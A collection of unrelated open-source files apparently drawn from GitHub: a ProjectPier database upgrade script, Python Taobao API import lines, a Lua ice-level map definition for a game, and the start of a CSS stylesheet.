ALTER TABLE `<?php echo $table_prefix ?>project_users` ADD COLUMN `can_assign_to_owners` tinyint(1) unsigned NOT NULL DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>project_users` ADD COLUMN `can_assign_to_other` tinyint(1) unsigned NOT NULL DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>searchable_objects` CHANGE `object_manager_class` `rel_object_manager` varchar(50) NOT NULL;
ALTER TABLE `<?php echo $table_prefix ?>searchable_objects` CHANGE `object_id` `rel_object_id` int(10) NOT NULL DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>searchable_objects` DROP KEY `PRIMARY`, ADD PRIMARY KEY (`rel_object_manager`,`rel_object_id`,`column_name`);
ALTER TABLE `<?php echo $table_prefix ?>tags` CHANGE `object_id` `rel_object_id` int(10) NOT NULL DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>tags` CHANGE `object_manager_class` `rel_object_manager` varchar(50) NOT NULL;
ALTER TABLE `<?php echo $table_prefix ?>tags` DROP KEY `object_id`, ADD INDEX `object_id` (`rel_object_id`,`rel_object_manager`);
ALTER TABLE `<?php echo $table_prefix ?>users` MODIFY COLUMN `company_id` smallint(5) unsigned NOT NULL DEFAULT '0';
ALTER TABLE `<?php echo $table_prefix ?>users` MODIFY COLUMN `username` varchar(50) NOT NULL;
ALTER TABLE `<?php echo $table_prefix ?>users` ADD COLUMN `token` varchar(40) NOT NULL;
ALTER TABLE `<?php echo $table_prefix ?>users` ADD COLUMN `salt` varchar(13) NOT NULL;
ALTER TABLE `<?php echo $table_prefix ?>users` ADD COLUMN `twister` varchar(10) NOT NULL;
ALTER TABLE `<?php echo $table_prefix ?>users` MODIFY COLUMN `avatar_file` varchar(44);
ALTER TABLE `<?php echo $table_prefix ?>users` ADD COLUMN `timezone` float(3,1) NOT NULL DEFAULT '0.0';
ALTER TABLE `<?php echo $table_prefix ?>users` DROP COLUMN `password`;
ALTER TABLE `<?php echo $table_prefix ?>users` DROP KEY `session_id`;
ALTER TABLE `<?php echo $table_prefix ?>users` DROP COLUMN `session_id`;
DROP TABLE IF EXISTS `<?php echo $table_prefix ?>document_downloads`;
-- Modify existing tables or add tables with initial data;
DROP TABLE IF EXISTS `<?php echo $table_prefix ?>administration_tools`;
CREATE TABLE `<?php echo $table_prefix ?>administration_tools` (
`id` tinyint(3) unsigned NOT NULL auto_increment,
`name` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
`controller` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
`action` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
`order` tinyint(3) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`name`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
INSERT INTO `<?php echo $table_prefix ?>administration_tools` (`id`, `name`, `controller`, `action`, `order`) VALUES (1, 'test_mail_settings', 'administration', 'tool_test_email', 1);
INSERT INTO `<?php echo $table_prefix ?>administration_tools` (`id`, `name`, `controller`, `action`, `order`) VALUES (2, 'mass_mailer', 'administration', 'tool_mass_mailer', 2);
DROP TABLE IF EXISTS `<?php echo $table_prefix ?>config_categories`;
CREATE TABLE `<?php echo $table_prefix ?>config_categories` (
`id` tinyint(3) unsigned NOT NULL auto_increment,
`name` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
`is_system` tinyint(1) unsigned NOT NULL default '0',
`category_order` tinyint(3) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`name`),
KEY `order` (`category_order`)
) ENGINE=InnoDB <?php echo $default_charset ?> COLLATE=utf8_unicode_ci;
INSERT INTO `<?php echo $table_prefix ?>config_categories` (`id`, `name`, `is_system`, `category_order`) VALUES (1, 'system', 1, 0);
INSERT INTO `<?php echo $table_prefix ?>config_categories` (`id`, `name`, `is_system`, `category_order`) VALUES (2, 'general', 0, 1);
INSERT INTO `<?php echo $table_prefix ?>config_categories` (`id`, `name`, `is_system`, `category_order`) VALUES (3, 'mailing', 0, 2);
DROP TABLE IF EXISTS `<?php echo $table_prefix ?>config_options`;
CREATE TABLE `<?php echo $table_prefix ?>config_options` (
`id` smallint(5) unsigned NOT NULL auto_increment,
`category_name` varchar(30) <?php echo $default_collation ?> NOT NULL default '',
`name` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
`value` text <?php echo $default_collation ?>,
`config_handler_class` varchar(50) <?php echo $default_collation ?> NOT NULL default '',
`is_system` tinyint(1) unsigned NOT NULL default '0',
`option_order` smallint(5) unsigned NOT NULL default '0',
`dev_comment` varchar(255) <?php echo $default_collation ?> default NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`name`),
KEY `order` (`option_order`),
KEY `category_id` (`category_name`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (1, 'system', 'project_logs_per_page', '15', 'IntegerConfigHandler', 1, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (2, 'system', 'messages_per_page', '5', 'IntegerConfigHandler', 1, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (3, 'system', 'max_avatar_width', '50', 'IntegerConfigHandler', 1, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (4, 'system', 'max_avatar_height', '50', 'IntegerConfigHandler', 1, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (5, 'system', 'dashboard_logs_count', '15', 'IntegerConfigHandler', 1, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (6, 'system', 'max_logo_width', '50', 'IntegerConfigHandler', 1, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (7, 'system', 'max_logo_height', '50', 'IntegerConfigHandler', 1, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (8, 'system', 'files_per_page', '10', 'IntegerConfigHandler', 1, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (9, 'general', 'site_name', 'ProjectPier', 'StringConfigHandler', 0, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (10, 'general', 'upgrade_last_check_datetime', '', 'DateTimeConfigHandler', 1, 0, 'Date and time of the last upgrade check');
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (11, 'general', 'upgrade_last_check_new_version', '0', 'BoolConfigHandler', 1, 0, 'True if system checked for the new version and found it. This value is used to highlight upgrade tab in the administration');
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (12, 'general', 'upgrade_check_enabled', '1', 'BoolConfigHandler', 0, 0, 'Upgrade check enabled / dissabled');
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (13, 'general', 'file_storage_adapter', 'mysql', 'FileStorageConfigHandler', 0, 0, 'What storage adapter should be used? fs or mysql');
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (14, 'general', 'default_project_folders', 'images\r\ndocuments\r\n\r\nother', 'TextConfigHandler', 0, 3, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (15, 'general', 'theme', 'default', 'ThemeConfigHandler', 0, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (16, 'mailing', 'exchange_compatible', '0', 'BoolConfigHandler', 0, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (17, 'mailing', 'mail_transport', 'mail()', 'MailTransportConfigHandler', 0, 0, 'Values: ''mail()'' - try to emulate mail() function, ''smtp'' - use SMTP connection');
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (18, 'mailing', 'smtp_server', '', 'StringConfigHandler', 0, 0, '');
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (19, 'mailing', 'smtp_port', '25', 'IntegerConfigHandler', 0, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (20, 'mailing', 'smtp_authenticate', '0', 'BoolConfigHandler', 0, 0, 'Use SMTP authentication');
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (21, 'mailing', 'smtp_username', '', 'StringConfigHandler', 0, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (22, 'mailing', 'smtp_password', '', 'PasswordConfigHandler', 0, 0, NULL);
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (23, 'mailing', 'smtp_secure_connection', 'no', 'SecureSmtpConnectionConfigHandler', 0, 0, 'Values: no, ssl, tls');
INSERT INTO `<?php echo $table_prefix ?>config_options` (`id`, `category_name`, `name`, `value`, `config_handler_class`, `is_system`, `option_order`, `dev_comment`) VALUES (24, 'system', 'feed_logs_count', '50', 'IntegerConfigHandler', 1, 0, 'Number of items in feeds');
DROP TABLE IF EXISTS `<?php echo $table_prefix ?>file_types`;
CREATE TABLE `<?php echo $table_prefix ?>file_types` (
`id` smallint(5) unsigned NOT NULL auto_increment,
`extension` varchar(10) <?php echo $default_collation ?> NOT NULL default '',
`icon` varchar(30) <?php echo $default_collation ?> NOT NULL default '',
`is_searchable` tinyint(1) unsigned NOT NULL default '0',
`is_image` tinyint(1) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
UNIQUE KEY `extension` (`extension`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (1, 'zip', 'archive.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (2, 'rar', 'archive.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (3, 'bz', 'archive.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (4, 'bz2', 'archive.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (5, 'gz', 'archive.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (6, 'ace', 'archive.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (7, 'mp3', 'audio.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (8, 'wma', 'audio.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (9, 'ogg', 'audio.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (10, 'doc', 'doc.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (11, 'xsl', 'doc.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (12, 'gif', 'image.png', 0, 1);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (13, 'jpg', 'image.png', 0, 1);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (14, 'jpeg', 'image.png', 0, 1);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (15, 'png', 'image.png', 0, 1);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (16, 'mov', 'mov.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (17, 'pdf', 'pdf.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (18, 'psd', 'psd.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (19, 'rm', 'rm.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (20, 'svg', 'svg.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (21, 'swf', 'swf.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (22, 'avi', 'video.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (23, 'mpeg', 'video.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (24, 'mpg', 'video.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (25, 'qt', 'mov.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (26, 'vob', 'video.png', 0, 0);
INSERT INTO `<?php echo $table_prefix ?>file_types` (`id`, `extension`, `icon`, `is_searchable`, `is_image`) VALUES (27, 'txt', 'doc.png', 1, 0);
DROP TABLE IF EXISTS `<?php echo $table_prefix ?>im_types`;
CREATE TABLE `<?php echo $table_prefix ?>im_types` (
`id` tinyint(3) unsigned NOT NULL auto_increment,
`name` varchar(30) <?php echo $default_collation ?> NOT NULL default '',
`icon` varchar(30) <?php echo $default_collation ?> NOT NULL default '',
PRIMARY KEY (`id`)
) ENGINE=InnoDB <?php echo $default_charset ?>;
INSERT INTO `<?php echo $table_prefix ?>im_types` (`id`, `name`, `icon`) VALUES (1, 'ICQ', 'icq.gif');
INSERT INTO `<?php echo $table_prefix ?>im_types` (`id`, `name`, `icon`) VALUES (2, 'AIM', 'aim.gif');
INSERT INTO `<?php echo $table_prefix ?>im_types` (`id`, `name`, `icon`) VALUES (3, 'MSN', 'msn.gif');
INSERT INTO `<?php echo $table_prefix ?>im_types` (`id`, `name`, `icon`) VALUES (4, 'Yahoo!', 'yahoo.gif');
INSERT INTO `<?php echo $table_prefix ?>im_types` (`id`, `name`, `icon`) VALUES (5, 'Skype', 'skype.gif');
INSERT INTO `<?php echo $table_prefix ?>im_types` (`id`, `name`, `icon`) VALUES (6, 'Jabber', 'jabber.gif');
|
{
"pile_set_name": "Github"
}
|
# -*- coding: utf-8 -*-
from top.api.rest.TbkShopRecommendGetRequest import TbkShopRecommendGetRequest
from top.api.rest.TbkTpwdCreateRequest import TbkTpwdCreateRequest
from top.api.rest.TbkJuTqgGetRequest import TbkJuTqgGetRequest
from top.api.rest.TbkDgNewuserOrderGetRequest import TbkDgNewuserOrderGetRequest
from top.api.rest.TopSecretRegisterRequest import TopSecretRegisterRequest
from top.api.rest.TbkCouponGetRequest import TbkCouponGetRequest
from top.api.rest.TbkItemGetRequest import TbkItemGetRequest
from top.api.rest.TbkUatmEventGetRequest import TbkUatmEventGetRequest
from top.api.rest.OpenuidGetBytradeRequest import OpenuidGetBytradeRequest
from top.api.rest.TbkItemInfoGetRequest import TbkItemInfoGetRequest
from top.api.rest.TimeGetRequest import TimeGetRequest
from top.api.rest.TbkUatmEventItemGetRequest import TbkUatmEventItemGetRequest
from top.api.rest.TbkScMaterialOptionalRequest import TbkScMaterialOptionalRequest
from top.api.rest.TopSecretGetRequest import TopSecretGetRequest
from top.api.rest.OpenuidChangeRequest import OpenuidChangeRequest
from top.api.rest.OpenuidGetRequest import OpenuidGetRequest
from top.api.rest.OpenuidGetBymixnickRequest import OpenuidGetBymixnickRequest
from top.api.rest.TopAuthTokenRefreshRequest import TopAuthTokenRefreshRequest
from top.api.rest.TbkShopGetRequest import TbkShopGetRequest
from top.api.rest.AreasGetRequest import AreasGetRequest
from top.api.rest.TopatsTaskDeleteRequest import TopatsTaskDeleteRequest
from top.api.rest.KfcKeywordSearchRequest import KfcKeywordSearchRequest
from top.api.rest.HttpdnsGetRequest import HttpdnsGetRequest
from top.api.rest.TbkDgItemCouponGetRequest import TbkDgItemCouponGetRequest
from top.api.rest.TbkUatmFavoritesGetRequest import TbkUatmFavoritesGetRequest
from top.api.rest.TopSdkFeedbackUploadRequest import TopSdkFeedbackUploadRequest
from top.api.rest.TopAuthTokenCreateRequest import TopAuthTokenCreateRequest
from top.api.rest.TbkScNewuserOrderGetRequest import TbkScNewuserOrderGetRequest
from top.api.rest.WirelessShareTpwdCreateRequest import WirelessShareTpwdCreateRequest
from top.api.rest.AppipGetRequest import AppipGetRequest
from top.api.rest.TbkDgMaterialOptionalRequest import TbkDgMaterialOptionalRequest
from top.api.rest.TopatsResultGetRequest import TopatsResultGetRequest
from top.api.rest.TopIpoutGetRequest import TopIpoutGetRequest
from top.api.rest.WirelessShareTpwdQueryRequest import WirelessShareTpwdQueryRequest
from top.api.rest.TbkUatmFavoritesItemGetRequest import TbkUatmFavoritesItemGetRequest
from top.api.rest.TbkSpreadGetRequest import TbkSpreadGetRequest
from top.api.rest.TbkItemRecommendGetRequest import TbkItemRecommendGetRequest
from top.api.rest.FilesGetRequest import FilesGetRequest
from top.api.rest.JuItemsSearchRequest import JuItemsSearchRequest
from top.api.rest.TbkItemConvertRequest import TbkItemConvertRequest
# 新添加的
## 订单相关
from top.api.rest.TbkOrderGetRequest import TbkOrderGetRequest
from top.api.rest.TbkRelationRefundRequest import TbkRelationRefundRequest
from top.api.rest.TbkDgPunishOrderGetRequest import TbkDgPunishOrderGetRequest
from top.api.rest.TbkCouponConvertRequest import TbkCouponConvertRequest
#邀请码
from top.api.rest.TbkScInvitecodeGetRequest import TbkScInvitecodeGetRequest
# 2018.11.1
from top.api.rest.TbkShopConvertRequest import TbkShopConvertRequest
from top.api.rest.TbkScOptimusMaterialRequest import TbkScOptimusMaterialRequest
from top.api.rest.TbkTpwdConvertRequest import TbkTpwdConvertRequest
from top.api.rest.TbkScNewuserOrderSumRequest import TbkScNewuserOrderSumRequest
from top.api.rest.TbkDgNewuserOrderSumRequest import TbkDgNewuserOrderSumRequest
from top.api.rest.TbkDgOptimusMaterialRequest import TbkDgOptimusMaterialRequest
#
|
{
"pile_set_name": "Github"
}
|
function getName()
return "Map 04"
end
function onMapLoaded()
end
function initMap()
-- get the current map context
local map = Map.get()
map:addTile("tile-background-ice-06", 0, 0)
map:addTile("tile-background-ice-05", 0, 1)
map:addTile("tile-background-ice-06", 0, 2)
map:addTile("tile-background-ice-07", 0, 3)
map:addTile("tile-background-ice-07", 0, 4)
map:addTile("tile-background-ice-07", 0, 5)
map:addTile("tile-background-ice-cave-art-01", 0, 6)
map:addTile("tile-background-ice-03", 0, 7)
map:addTile("tile-background-ice-04", 0, 8)
map:addTile("tile-background-ice-02", 0, 9)
map:addTile("tile-background-ice-02", 0, 10)
map:addTile("tile-background-ice-03", 0, 11)
map:addTile("tile-background-ice-big-01", 1, 0)
map:addTile("tile-background-ice-06", 1, 2)
map:addTile("tile-background-ice-04", 1, 3)
map:addTile("tile-background-ice-07", 1, 4)
map:addTile("tile-background-ice-06", 1, 5)
map:addTile("tile-background-ice-05", 1, 6)
map:addTile("tile-background-ice-01", 1, 7)
map:addTile("tile-background-ice-05", 1, 8)
map:addTile("tile-background-ice-01", 1, 9)
map:addTile("tile-background-ice-05", 1, 10)
map:addTile("tile-background-ice-06", 1, 11)
map:addTile("tile-background-ice-01", 2, 2)
map:addTile("tile-background-ice-01", 2, 3)
map:addTile("tile-ground-ledge-ice-left-01", 2, 4)
map:addTile("tile-background-ice-04", 2, 5)
map:addTile("tile-background-ice-01", 2, 6)
map:addTile("tile-background-ice-big-01", 2, 7)
map:addTile("tile-background-ice-04", 2, 9)
map:addTile("tile-background-ice-06", 2, 10)
map:addTile("tile-background-ice-03", 2, 11)
map:addTile("tile-background-ice-03", 3, 0)
map:addTile("tile-background-ice-07", 3, 1)
map:addTile("tile-background-ice-06", 3, 2)
map:addTile("tile-background-ice-04", 3, 3)
map:addTile("tile-ground-ice-02", 3, 4)
map:addTile("tile-rock-ice-02", 3, 5)
map:addTile("tile-background-ice-02", 3, 6)
map:addTile("tile-background-ice-06", 3, 9)
map:addTile("tile-background-ice-cave-art-01", 3, 10)
map:addTile("tile-background-ice-06", 3, 11)
map:addTile("tile-background-ice-06", 4, 0)
map:addTile("tile-background-ice-01", 4, 1)
map:addTile("tile-background-ice-05", 4, 2)
map:addTile("tile-background-ice-02", 4, 3)
map:addTile("tile-ground-ice-03", 4, 4)
map:addTile("tile-rock-ice-03", 4, 5)
map:addTile("tile-ground-ledge-ice-left-02", 4, 6)
map:addTile("tile-background-ice-03", 4, 7)
map:addTile("tile-background-ice-big-01", 4, 8)
map:addTile("tile-background-ice-03", 4, 10)
map:addTile("tile-background-ice-03", 4, 11)
map:addTile("tile-background-ice-03", 5, 0)
map:addTile("tile-background-ice-03", 5, 1)
map:addTile("tile-ground-ledge-ice-left-02", 5, 2)
map:addTile("tile-ground-ice-04", 5, 4)
map:addTile("tile-rock-ice-big-01", 5, 5)
map:addTile("tile-background-ice-04", 5, 7)
map:addTile("tile-background-ice-01", 5, 10)
map:addTile("tile-background-ice-03", 5, 11)
map:addTile("tile-background-ice-01", 6, 0)
map:addTile("tile-background-ice-05", 6, 1)
map:addTile("tile-ground-ice-02", 6, 2)
map:addTile("tile-rock-ice-big-01", 6, 3)
map:addTile("tile-background-ice-03", 6, 7)
map:addTile("tile-background-ice-03", 6, 8)
map:addTile("tile-background-ice-04", 6, 9)
map:addTile("tile-background-ice-04", 6, 10)
map:addTile("tile-background-ice-06", 6, 11)
map:addTile("tile-background-ice-01", 7, 0)
map:addTile("tile-background-ice-05", 7, 1)
map:addTile("tile-ground-ice-01", 7, 2)
map:addTile("tile-rock-ice-03", 7, 5)
map:addTile("tile-rock-ice-02", 7, 6)
map:addTile("tile-background-ice-02", 7, 7)
map:addTile("tile-background-ice-cave-art-01", 7, 8)
map:addTile("tile-background-ice-03", 7, 9)
map:addTile("tile-background-ice-03", 7, 10)
map:addTile("tile-background-ice-03", 7, 11)
map:addTile("tile-background-ice-01", 8, 0)
map:addTile("tile-background-ice-03", 8, 1)
map:addTile("tile-ground-ledge-ice-right-02", 8, 2)
map:addTile("tile-background-ice-cave-art-01", 8, 3)
map:addTile("tile-ground-ice-01", 8, 4)
map:addTile("tile-rock-ice-03", 8, 5)
map:addTile("tile-ground-ledge-ice-right-01", 8, 6)
map:addTile("tile-background-ice-05", 8, 7)
map:addTile("tile-background-ice-02", 8, 8)
map:addTile("tile-background-ice-04", 8, 9)
map:addTile("tile-background-ice-03", 8, 10)
map:addTile("tile-background-ice-06", 8, 11)
map:addTile("tile-background-ice-04", 9, 0)
map:addTile("tile-background-ice-01", 9, 1)
map:addTile("tile-background-ice-06", 9, 2)
map:addTile("tile-ground-ice-04", 9, 4)
map:addTile("tile-rock-slope-ice-right-02", 9, 5)
map:addTile("tile-background-ice-04", 9, 6)
map:addTile("tile-background-ice-04", 9, 7)
map:addTile("tile-background-ice-02", 9, 8)
map:addTile("tile-background-ice-03", 9, 9)
map:addTile("tile-background-ice-03", 9, 10)
map:addTile("tile-background-ice-03", 9, 11)
map:addTile("tile-background-ice-04", 10, 0)
map:addTile("tile-background-ice-03", 10, 1)
map:addTile("tile-background-ice-cave-art-01", 10, 2)
map:addTile("tile-background-ice-06", 10, 3)
map:addTile("tile-background-ice-07", 10, 4)
map:addTile("tile-background-ice-07", 10, 5)
map:addTile("tile-background-ice-01", 10, 6)
map:addTile("tile-background-ice-07", 10, 7)
map:addTile("tile-background-ice-06", 10, 8)
map:addTile("tile-ground-ice-03", 10, 9)
map:addTile("tile-rock-ice-01", 10, 10)
map:addTile("tile-rock-ice-03", 10, 11)
map:addTile("tile-background-ice-07", 11, 0)
map:addTile("tile-background-ice-04", 11, 1)
map:addTile("tile-background-ice-07", 11, 2)
map:addTile("tile-background-ice-03", 11, 3)
map:addTile("tile-background-ice-big-01", 11, 4)
map:addTile("tile-background-ice-big-01", 11, 6)
map:addTile("tile-background-ice-01", 11, 8)
map:addTile("tile-ground-ice-01", 11, 9)
map:addTile("tile-rock-ice-03", 11, 10)
map:addTile("tile-rock-ice-01", 11, 11)
map:addTile("tile-background-ice-cave-art-01", 12, 0)
map:addTile("tile-background-ice-cave-art-01", 12, 1)
map:addTile("tile-background-ice-04", 12, 2)
map:addTile("tile-ground-ledge-ice-left-02", 12, 3)
map:addTile("tile-background-ice-06", 12, 8)
map:addTile("tile-ground-ice-01", 12, 9)
map:addTile("tile-rock-ice-02", 12, 10)
map:addTile("tile-rock-ice-02", 12, 11)
map:addTile("tile-background-ice-big-01", 13, 0)
map:addTile("tile-background-ice-04", 13, 2)
map:addTile("tile-rock-slope-ice-right-01", 13, 3)
map:addTile("tile-rock-slope-ice-left-02", 13, 4)
map:addTile("tile-background-ice-05", 13, 5)
map:addTile("tile-background-ice-04", 13, 6)
map:addTile("tile-background-ice-06", 13, 7)
map:addTile("tile-waterfall-ice-01", 13, 8)
map:addTile("tile-rock-ice-01", 13, 10)
map:addTile("tile-rock-ice-02", 13, 11)
map:addTile("tile-ground-ice-02", 14, 2)
map:addTile("tile-rock-slope-ice-left-02", 14, 3)
map:addTile("tile-rock-slope-ice-right-01", 14, 4)
map:addTile("tile-ground-ledge-ice-right-02", 14, 5)
map:addTile("tile-background-ice-01", 14, 6)
map:addTile("tile-background-ice-cave-art-01", 14, 7)
map:addTile("tile-background-ice-04", 14, 8)
map:addTile("tile-packagetarget-ice-01-idle", 14, 9)
map:addTile("tile-rock-ice-03", 14, 10)
map:addTile("tile-rock-ice-01", 14, 11)
map:addTile("tile-background-ice-04", 15, 0)
map:addTile("tile-background-ice-01", 15, 1)
map:addTile("tile-ground-ice-02", 15, 2)
map:addTile("tile-rock-ice-01", 15, 3)
map:addTile("tile-rock-slope-ice-left-02", 15, 4)
map:addTile("tile-rock-slope-ice-left-01", 15, 5)
map:addTile("tile-background-ice-02", 15, 6)
map:addTile("tile-background-ice-05", 15, 7)
map:addTile("tile-geyser-ice-01-active", 15, 8)
map:addTile("tile-rock-ice-03", 15, 10)
map:addTile("tile-rock-ice-01", 15, 11)
map:addCave("tile-cave-ice-01", 5, 3, "none", 5000)
map:addCave("tile-cave-ice-02", 9, 3, "none", 5000)
map:addEmitter("npc-walking", 11, 8, 1, 0, "")
map:addEmitter("item-stone", 13.2, 7, 1, 0, "")
map:setSetting("width", "16")
map:setSetting("height", "12")
map:setSetting("fishnpc", "true")
map:setSetting("flyingnpc", "true")
map:setSetting("gravity", "9.81")
map:setSetting("packagetransfercount", "3")
map:addStartPosition("2", "3")
map:setSetting("points", "120")
map:setSetting("referencetime", "40")
map:setSetting("theme", "ice")
map:setSetting("waterchangespeed", "0")
map:setSetting("waterfallingdelay", "0")
map:setSetting("waterheight", "2")
map:setSetting("waterrisingdelay", "0")
map:setSetting("wind", "0.0")
end
|
{
"pile_set_name": "Github"
}
|
@charset "UTF-8";
#top-github-link, #body #breadcrumbs {
position: relative;
top: 50%;
-webkit-transform: translateY(-50%);
-moz-transform: translateY(-50%);
-o-transform: translateY(-50%);
-ms-transform: translateY(-50%);
